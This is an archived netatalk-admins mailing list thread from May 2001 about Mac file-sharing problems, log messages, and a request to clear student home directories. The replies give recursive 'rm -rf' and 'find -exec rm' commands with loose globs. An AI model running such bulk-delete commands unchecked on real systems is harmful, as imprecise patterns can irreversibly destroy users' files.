	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02374
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 1 May 2001 18:01:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA02346
	for netatalk.administrators-members@umich.edu; Tue, 1 May 2001 18:01:04 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA02303
	for <netatalk-admins@umich.edu>; Tue, 1 May 2001 18:01:03 -0400 (EDT)
Received: from [172.16.22.38] ([172.16.22.38] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 4350531; Wed, 02 May 2001 00:01:06 +0200
Mime-Version: 1.0
X-Sender: rose@mail.i.sj.com
Message-Id: <p05010403b714e0b14e2e@[172.16.22.38]>
In-Reply-To: <Pine.GSO.4.31.0105011346060.25697-100000@math.ohio-state.edu>
References: <Pine.GSO.4.31.0105011346060.25697-100000@math.ohio-state.edu>
Date: Wed, 2 May 2001 00:03:16 +0200
To: Chad Cunningham <ccunning@math.ohio-state.edu>
From: Axel Rose <rose@sj.com>
Subject: Re: chgrp, Illegal seek
Cc: netatalk-admins <netatalk-admins@umich.edu>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id SAA08297

I found a workaround. If permissions are set this way

# ls -ld /tmp/pdf
drwxrwsr-x    2 lp       nobody ...

for the directory where I temporarily create PS and PDF file
there will be no error for chgrp() and also no need to use chgrp().

Concerning netatalk now I only wish to see refreshed folder contents
on the Mac. I'm not sure whether Macs do poll or the server sends
a signal. Why does it work under Helios or NT then?

And another off-topic but real problem is that GhostScript doesn't
work on certain files. I still need to investigate this. I create
a one line BBEdit text file, save as "123", print, everything is fine.
Now I save to a file named "ab cd xy", print and get a gs error!??


Thank you for having an opportunity to discuss this here


Sincerely


Axel

-- 
----------------------------------------------------------------------
Axel Rose, Springer & Jacoby Digital GmbH & Co. KG, mailto:rose@sj.com
  pub PGP key 1024/A21CB825 E0E4 BC69 E001 96E9  2EFD 86CA 9CA1 AAC5
  "... denn alles, was entsteht, ist wert, daß es zugrunde geht ..."

From netatalk.administrators-errors@umich.edu  Wed May  2 06:05:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA25829
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 May 2001 06:05:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA19816
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 May 2001 06:05:54 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA19795
	for netatalk.administrators-members@umich.edu; Wed, 2 May 2001 06:05:54 -0400 (EDT)
Received: from dragnet.seagull.net ([209.102.21.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA19754
	for <netatalk-admins@umich.edu>; Wed, 2 May 2001 06:05:52 -0400 (EDT)
Received: from goingware.com (me-rockland-dial-283.mint.adelphia.net [216.227.146.111]) by dragnet.seagull.net (8.9.3) with ESMTP id DAA25940 sender crawford@goingware.com for <netatalk-admins@umich.edu>; Wed, 2 May 2001 03:05:50 -0700
Message-ID: <3AEFDC21.51A794EA@goingware.com>
Date: Wed, 02 May 2001 06:06:24 -0400
From: "Michael D. Crawford" <crawford@goingware.com>
X-Mailer: Mozilla 4.76 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: crash when saving from Codewarrior to 1.4b2 volume
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Greetings,

I'm using the netatalk 1.4b2 which is provided as part of the Slackware
7.1 linux distribution, and I've been using it with Linux kernel 2.4.3
and (just since last night) 2.4.4.  My Mac is an 8500 running Mac OS 8.6.

I use netatalk to serve the source files I'm developing under the Mac OS
with Metrowerks Codewarrior Pro 6.1.  Sometimes when I do a "save as",
and try to save the file to my netatalk volume, Codewarrior crashes.

It doesn't crash if I save to a SCSI disk.  I'm afraid I don't have
another mac at my disposal to see if the crash would occur saving to a
stock AppleShare server.

This could well be a CodeWarrior bug, or Mac OS system bug, I haven't
narrowed it down yet.

When the crash happens it will persist for the folder I'm trying to save
the file into.  That is, if the mac sees the folder
Development:projects:myproject: , once the crash starts occuring it will
occur anytime I try to save a file into :myproject:

Usually I can work around it by saving the file to my SCSI disk, then
dragging the file in the Finder to the netatalk volume.  After that the
crash won't happen again for a while.

Sometimes the crash occurs when the save as dialog has just finished
drawing, sometimes it occurs after I have entered a filename and press
OK (the point at which the file should actually get written).

Codewarrior is using those newfangled save as dialog (navigation
services or some such thing), it's not StandardPutFile or SFPutFile.

Is this something that the development netatalk on sourceforge may have
addressed?  If so, is that code stable enough to be using for production
purposes - I'm writing code for a paying client using netatalk (I do
make frequent backups...)

Are you using netatalk to write cross-platform products?  Have a look at
ZooLib.  
http://zoolib.sourceforge.net You can write native applications for Mac
OS, Windows, BeOS and Linux from a single C++ sourcebase.  I share the
same source folder with netatalk to my mac, with samba to Windows NT or
98 on my other PC, and use gcc on Linux so (at the cost of three
machines) I can build for three platforms without having to reboot
anything or transfer any files.  It will support *BSD and solaris soon,
there's no reason it shouldn't work on them but there are some things
that need to be fiddled with.

Mike
Michael D. Crawford
GoingWare Inc. - Expert Software Development and Consulting
http://www.goingware.com/
crawford@goingware.com

   Tilting at Windmills for a Better Tomorrow.

From netatalk.administrators-errors@umich.edu  Wed May  2 18:34:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA22463
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 May 2001 18:34:56 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA27948
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 May 2001 18:34:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA27930
	for netatalk.administrators-members@umich.edu; Wed, 2 May 2001 18:34:46 -0400 (EDT)
Received: from dave-world.net (mail.dave-world.net [204.189.73.19])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA27846
	for <netatalk-admins@umich.edu>; Wed, 2 May 2001 18:34:45 -0400 (EDT)
Received: from heath [205.139.250.148] by dave-world.net
  (SMTPD32-6.05) id AA3D5A9C00A0; Wed, 02 May 2001 17:29:17 -0500
Reply-To: <heath@davesworld.net>
From: "Heath Henderson" <heath@davesworld.net>
To: <netatalk-admins@umich.edu>
Cc: "Appletalk on Linux" <LINUX-ATALK@LISTS.NETSPACE.ORG>,
        <MAC-SUPPORTERS@JISCMAIL.AC.UK>
Subject: Simple Script for Linux or OS X
Date: Wed, 2 May 2001 17:39:18 -0500
Message-ID: <NDBBLIPGCLLELIOOICKOIEPGDMAA.heath@davesworld.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <3AEFDC21.51A794EA@goingware.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

Hello all, I am in need of a simple Perl script (I am going to attempt it I
think)

That cleans our users Home directories out, but leaves the Directory itself
intact and untouched.  I want to run this script at the Home directory level
and have it go 1 level deep and clean out the contents to start fresh next
school year.  It would be nice as well if it was at all possible to set it
so that the script only looks at accounts that start with a number (It would
leave our teacher's accounts untouched).

If anyone has any ideas, let me know.  I am learning PERL, and thought
someone may have already needed this in the past, and would know of a place
to look for some starters.

Thanks

Heath


From netatalk.administrators-errors@umich.edu  Wed May  2 20:41:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA25322
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 May 2001 20:41:59 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA10621
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 May 2001 20:41:49 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA10600
	for netatalk.administrators-members@umich.edu; Wed, 2 May 2001 20:41:49 -0400 (EDT)
Received: from email.wm.edu (mars.wm.edu [128.239.10.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA10577
	for <netatalk-admins@umich.edu>; Wed, 2 May 2001 20:41:48 -0400 (EDT)
Received: from wm21-209.resnet.wm.edu (IDENT:rob@wm21-209.resnet.wm.edu [128.239.209.21])
	by email.wm.edu (2.1.2/8.9.1/Execmail 2.1) with ESMTP id UAA14619;
	Wed, 2 May 2001 20:41:11 -0400 (EDT)
Subject: Re: Simple Script for Linux or OS X
From: Rob Lineweaver <rbline@wm.edu>
To: heath@davesworld.net
Cc: netatalk-admins@umich.edu
In-Reply-To: <NDBBLIPGCLLELIOOICKOIEPGDMAA.heath@davesworld.net>
References: <NDBBLIPGCLLELIOOICKOIEPGDMAA.heath@davesworld.net>
Content-Type: text/plain
X-Mailer: Evolution/0.10 (Preview Release)
Date: 02 May 2001 20:41:53 -0400
Message-Id: <988850514.2348.0.camel@iggy>
Mime-Version: 1.0

On 02 May 2001 17:39:18 -0500, Heath Henderson wrote:
> Hello all, I am in need of a simple Perl script (I am going to attempt it I
> think)
> 
> That cleans our users Home directories out, but leaves the Directory itself
> intact and untouched.  I want to run this script at the Home directory level
> and have it go 1 level deep and clean out the contents to start fresh next
> school year.  It would be nice as well if it was at all possible to set it
> so that the script only looks at accounts that start with a number (It would
> leave our teacher's accounts untouched).
> 

Heath,

I think something simpler, like:

rm -rf [0-9]*/*

is what you want.  No need to create a PERL script to do something that
regular expressions can do.

To delete files and folders in a user's directory starting with a dot,
you might have to add another expression:

rm -rf [0-9]*/*  [0-9]*/.[A-z]*

But definitely test your commands against data that doesn't matter
before applying it to the real user directories!  You can also test with
the -i option to rm.  The above commands do leave the first-level (user)
directories in place.

hope this helps,

Rob Lineweaver
:)


From netatalk.administrators-errors@umich.edu  Wed May  2 22:12:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA27299
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 May 2001 22:12:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA25135
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 May 2001 22:12:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA25122
	for netatalk.administrators-members@umich.edu; Wed, 2 May 2001 22:12:45 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA25097
	for <netatalk-admins@umich.edu>; Wed, 2 May 2001 22:12:44 -0400 (EDT)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f432Chj24013;
	Wed, 2 May 2001 22:12:43 -0400
Date: Wed, 2 May 2001 22:12:43 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Heath Henderson <heath@davesworld.net>
cc: <netatalk-admins@umich.edu>,
        Appletalk on Linux <LINUX-ATALK@LISTS.NETSPACE.ORG>,
        <MAC-SUPPORTERS@JISCMAIL.AC.UK>
Subject: Re: Simple Script for Linux or OS X
In-Reply-To: <NDBBLIPGCLLELIOOICKOIEPGDMAA.heath@davesworld.net>
Message-ID: <Pine.GSO.4.31.0105022206001.15787-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Just one level deep? find is your friend. find is your friend

find /some/dir ! -name ".*" -maxdepth 2 -type f -exec rm -f {} \;

This will delete all regular files 1 directory deep in /some/dir as long
as they don't begin with . (presumably, I would test it first :)

Depending on what you want to do, find can probably do it, see man find
for more options.

On Wed, 2 May 2001, Heath Henderson wrote:

> Hello all, I am in need of a simple Perl script (I am going to attempt it I
> think)
>
> That cleans our users Home directories out, but leaves the Directory itself
> intact and untouched.  I want to run this script at the Home directory level
> and have it go 1 level deep and clean out the contents to start fresh next
> school year.  It would be nice as well if it was at all possible to set it
> so that the script only looks at accounts that start with a number (It would
> leave our teacher's accounts untouched).
>
> If anyone has any ideas, let me know.  I am learning PERL, and thought
> someone may have already needed this in the past, and would know of a place
> to look for some starters.
>
> Thanks
>
> Heath
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Wed May  2 23:14:23 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA28692
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 2 May 2001 23:14:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA23014
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 2 May 2001 23:14:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA22990
	for netatalk.administrators-members@umich.edu; Wed, 2 May 2001 23:14:13 -0400 (EDT)
Received: from mail.zaius.org (cs28122-199.houston.rr.com [24.28.122.199])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA22948
	for <netatalk-admins@umich.edu>; Wed, 2 May 2001 23:14:11 -0400 (EDT)
Received: from zaius.org (spare.zaius.org [10.0.0.3])
	by mail.zaius.org (Postfix) with ESMTP
	id 9269A2750; Wed,  2 May 2001 21:10:08 -0500 (CDT)
Message-ID: <3AF0CCD7.F31F173C@zaius.org>
Date: Wed, 02 May 2001 22:13:26 -0500
From: Jeff Thompson <jeff@zaius.org>
X-Mailer: Mozilla 4.77 (Macintosh; U; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: "Michael D. Crawford" <crawford@goingware.com>
Cc: netatalk-admins@umich.edu
Subject: Re: crash when saving from Codewarrior to 1.4b2 volume
References: <3AEFDC21.51A794EA@goingware.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit

Michael -

I use CodeWarrior all the time, and I've had it crash on all sorts of weird
occasions. So far, I've figured out that it crashes whenever i hit the F6
(audio mute) or F2 (adjust LCD brightness) keys on my PowerBook, and that it
doesn't like saving one project directory within another.

The point is that I'm not suprised that Codewarrior consistently crashes
while doing the same thing, and that, given my other observations, I bet
it's more of a CW bug than anything. I have probably saved files with it to
a netatalk 1.4b2 server, which I used until recently, but I *know* (at least
my copy) works with the 1.5-prex releases.

I might be way off the mark, but that's my best bet.

Just for reference, I'm running CW 6 on a PB G3 (firewire) with OS 9.0.4.

--
-Jeff Thompson  (http://jeff.zaius.org)
jeff@zaius(.dyndns).org, jeff@artifex.org, jeff@kinkaid.org

Five is a sufficiently close approximation to infinity.


"Michael D. Crawford" wrote:

> Greetings,
>
> I'm using the netatalk 1.4b2 which is provided as part of the Slackware
> 7.1 linux distribution, and I've been using it with Linux kernel 2.4.3
> and (just since last night) 2.4.4.  My Mac is an 8500 running Mac OS 8.6.
>
> I use netatalk to serve the source files I'm developing under the Mac OS
> with Metrowerks Codewarrior Pro 6.1.  Sometimes when I do a "save as",
> and try to save the file to my netatalk volume, Codewarrior crashes.
>
> It doesn't crash if I save to a SCSI disk.  I'm afraid I don't have
> another mac at my disposal to see if the crash would occur saving to a
> stock AppleShare server.
>
> This could well be a CodeWarrior bug, or Mac OS system bug, I haven't
> narrowed it down yet.
>
> When the crash happens it will persist for the folder I'm trying to save
> the file into.  That is, if the mac sees the folder
> Development:projects:myproject: , once the crash starts occuring it will
> occur anytime I try to save a file into :myproject:
>
> Usually I can work around it by saving the file to my SCSI disk, then
> dragging the file in the Finder to the netatalk volume.  After that the
> crash won't happen again for a while.
>
> Sometimes the crash occurs when the save as dialog has just finished
> drawing, sometimes it occurs after I have entered a filename and press
> OK (the point at which the file should actually get written).
>
> Codewarrior is using those newfangled save as dialog (navigation
> services or some such thing), it's not StandardPutFile or SFPutFile.
>
> Is this something that the development netatalk on sourceforge may have
> addressed?  If so, is that code stable enough to be using for production
> purposes - I'm writing code for a paying client using netatalk (I do
> make frequent backups...)
>
> Are you using netatalk to write cross-platform products?  Have a look at
> ZooLib.
> http://zoolib.sourceforge.net You can write native applications for Mac
> OS, Windows, BeOS and Linux from a single C++ sourcebase.  I share the
> same source folder with netatalk to my mac, with samba to Windows NT or
> 98 on my other PC, and use gcc on Linux so (at the cost of three
> machines) I can build for three platforms without having to reboot
> anything or transfer any files.  It will support *BSD and solaris soon,
> there's no reason it shouldn't work on them but there are some things
> that need to be fiddled with.
>
> Mike
> Michael D. Crawford
> GoingWare Inc. - Expert Software Development and Consulting
> http://www.goingware.com/
> crawford@goingware.com
>
>    Tilting at Windmills for a Better Tomorrow.


From netatalk.administrators-errors@umich.edu  Fri May  4 10:33:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA25522
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 4 May 2001 10:33:07 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA07454
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 4 May 2001 10:32:58 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA07356
	for netatalk.administrators-members@umich.edu; Fri, 4 May 2001 10:32:54 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA07293
	for <netatalk-admins@umich.edu>; Fri, 4 May 2001 10:32:52 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id 879C62B9EA; Fri,  4 May 2001 09:32:59 -0500 (CDT)
Date: Fri, 4 May 2001 09:32:59 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: log messages
Message-ID: <20010504093259.A15757@newwww.teleologic.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

Hey, I've noticed that my logs fill up pretty quickly with messages
that look like this:

May  3 10:35:08 newwww afpd[8664]: begin getfilparams:
May  3 10:35:08 newwww afpd[8664]: end getfilparams:

Is there a command line switch or config file directive that can disable
those messages at run-time, or is that something that has to be disabled
at compile-time?

Thanks.
--
Danny Sauer
Systems Administrator
Teleologic Learning Company

From netatalk.administrators-errors@umich.edu  Fri May  4 10:39:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA25665
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 4 May 2001 10:39:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA29656
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 4 May 2001 10:39:11 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA29627
	for netatalk.administrators-members@umich.edu; Fri, 4 May 2001 10:39:09 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA29585
	for <netatalk-admins@umich.edu>; Fri, 4 May 2001 10:39:08 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA28909;
	Fri, 4 May 2001 16:33:07 +0200
Message-ID: <3AF2BDA5.9D50B5D7@euc.de>
Date: Fri, 04 May 2001 16:33:09 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Danny Sauer <dsauer@teleologic.net>,
        "netatalk-admins@umich.edu" <netatalk-admins@umich.edu>
Subject: Re: log messages
References: <20010504093259.A15757@newwww.teleologic.net>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA25665

what version?

Danny Sauer wrote:
> 
> Hey, I've noticed that my logs fill up pretty quickly with messages
> that look like this:
> 
> May  3 10:35:08 newwww afpd[8664]: begin getfilparams:
> May  3 10:35:08 newwww afpd[8664]: end getfilparams:
> 
> Is there a command line switch or config file directive that can disable
> those messages at run-time, or is that something that has to be disabled
> at compile-time?
> 
> Thanks.
> --
> Danny Sauer
> Systems Administrator
> Teleologic Learning Company

-- 
--schnipp-- 

mit freundlichen grüssen

-----------------------------------------------------------
Mac Conin                        EUC Online Service GmbH
Geschäftsführer                  Taubengasse 9
mconin@euc.de                    D 50676 Koeln
http://www.euc.de                HRB Köln 32038
tel : +49-221-923 27 33          fax : +49-221-239 651
-----------------------------------------------------------
EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
der Abfallwirtschaftsbetriebe Köln (AWB) und dem
Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri May  4 10:43:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA25779
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 4 May 2001 10:43:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06833
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 4 May 2001 10:43:12 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA06822
	for netatalk.administrators-members@umich.edu; Fri, 4 May 2001 10:43:11 -0400 (EDT)
Received: from mail.teleologic.net (17eos170.eosinc.com [12.39.14.170])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA06786
	for <netatalk-admins@umich.edu>; Fri, 4 May 2001 10:43:10 -0400 (EDT)
Received: by mail.teleologic.net (Postfix, from userid 2000)
	id A17E8325BB; Fri,  4 May 2001 09:43:08 -0500 (CDT)
Date: Fri, 4 May 2001 09:43:08 -0500
From: Danny Sauer <dsauer@teleologic.net>
To: netatalk-admins@umich.edu
Subject: Re: log messages
Message-ID: <20010504094308.A15881@newwww.teleologic.net>
References: <20010504093259.A15757@newwww.teleologic.net> <3AF2BDA5.9D50B5D7@euc.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
User-Agent: Mutt/1.3.12i
In-Reply-To: <3AF2BDA5.9D50B5D7@euc.de>; from mconin@euc.de on Fri, May 04, 2001 at 04:33:09PM +0200
X-Operating-System: Linux 2.4.0-4GB i686
X-Dont-Spam-Me: I might come after you

The one bundled with SuSE 7.1.  This is the only version I see:

dsauer@newwww:~ > rpm -qv netatalk
netatalk-1.4.99-5

Is there a reasonable way to get the version out of one of the binaries?

Thanks.

Mac wrote regarding 'Re: log messages' on Fri, May 04 at 09:39:
> what version?
> 
> Danny Sauer wrote:
> > 
> > Hey, I've noticed that my logs fill up pretty quickly with messages
> > that look like this:
> > 
> > May  3 10:35:08 newwww afpd[8664]: begin getfilparams:
> > May  3 10:35:08 newwww afpd[8664]: end getfilparams:
> > 
> > Is there a command line switch or config file directive that can disable
> > those messages at run-time, or is that something that has to be disabled
> > at compile-time?
> > 
> > Thanks.
> > --
> > Danny Sauer
> > Systems Administrator
> > Teleologic Learning Company
> 
> -- 
> --schnipp-- 
> 
> mit freundlichen grüssen
> 
> -----------------------------------------------------------
> Mac Conin                        EUC Online Service GmbH
> Geschäftsführer                  Taubengasse 9
> mconin@euc.de                    D 50676 Koeln
> http://www.euc.de                HRB Köln 32038
> tel : +49-221-923 27 33          fax : +49-221-239 651
> -----------------------------------------------------------
> EUC sponsort Clean up Cologne - eine Iniative der IHK Köln,
> der Abfallwirtschaftsbetriebe Köln (AWB) und dem
> Grünflächenamt der Stadt Köln. http://www.clean-up-cologne.de

From netatalk.administrators-errors@umich.edu  Fri May  4 10:54:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA26128
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 4 May 2001 10:54:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA24239
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 4 May 2001 10:54:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA24201
	for netatalk.administrators-members@umich.edu; Fri, 4 May 2001 10:54:24 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA24166
	for <netatalk-admins@umich.edu>; Fri, 4 May 2001 10:54:21 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id QAA29018;
	Fri, 4 May 2001 16:48:58 +0200
Message-ID: <3AF2C15C.9A7D4446@euc.de>
Date: Fri, 04 May 2001 16:49:00 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: Danny Sauer <dsauer@teleologic.net>
CC: netatalk-admins@umich.edu
Subject: Re: log messages
References: <20010504093259.A15757@newwww.teleologic.net> <3AF2BDA5.9D50B5D7@euc.de> <20010504094308.A15881@newwww.teleologic.net>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id KAA26128

yup - many.

you should migrate to the latest version which is 1.5pre6

Danny Sauer wrote:
> 
> The one bundled with SuSE 7.1.  This is the only version I see:
> 
> dsauer@newwww:~ > rpm -qv netatalk
> netatalk-1.4.99-5
> 
> Is there a reasonable way to get the version out of one of the binaries?
> 
> Thanks.
> 
> Mac wrote regarding 'Re: log messages' on Fri, May 04 at 09:39:
> > what version?
> >
> > Danny Sauer wrote:
> > >
> > > Hey, I've noticed that my logs fill up pretty quickly with messages
> > > that look like this:
> > >
> > > May  3 10:35:08 newwww afpd[8664]: begin getfilparams:
> > > May  3 10:35:08 newwww afpd[8664]: end getfilparams:
> > >
> > > Is there a command line switch or config file directive that can disable
> > > those messages at run-time, or is that something that has to be disabled
> > > at compile-time?
> > >
> > > Thanks.
> > > --
> > > Danny Sauer
> > > Systems Administrator
> > > Teleologic Learning Company
> >
> > --
> > --schnipp--
> >
> > mit freundlichen grüssen
> >
> > -----------------------------------------------------------
> > Mac Conin                        EUC Online Service GmbH
> > Geschäftsführer                  Taubengasse 9
> > mconin@euc.de                    D 50676 Koeln
> > http://www.euc.de                HRB Köln 32038
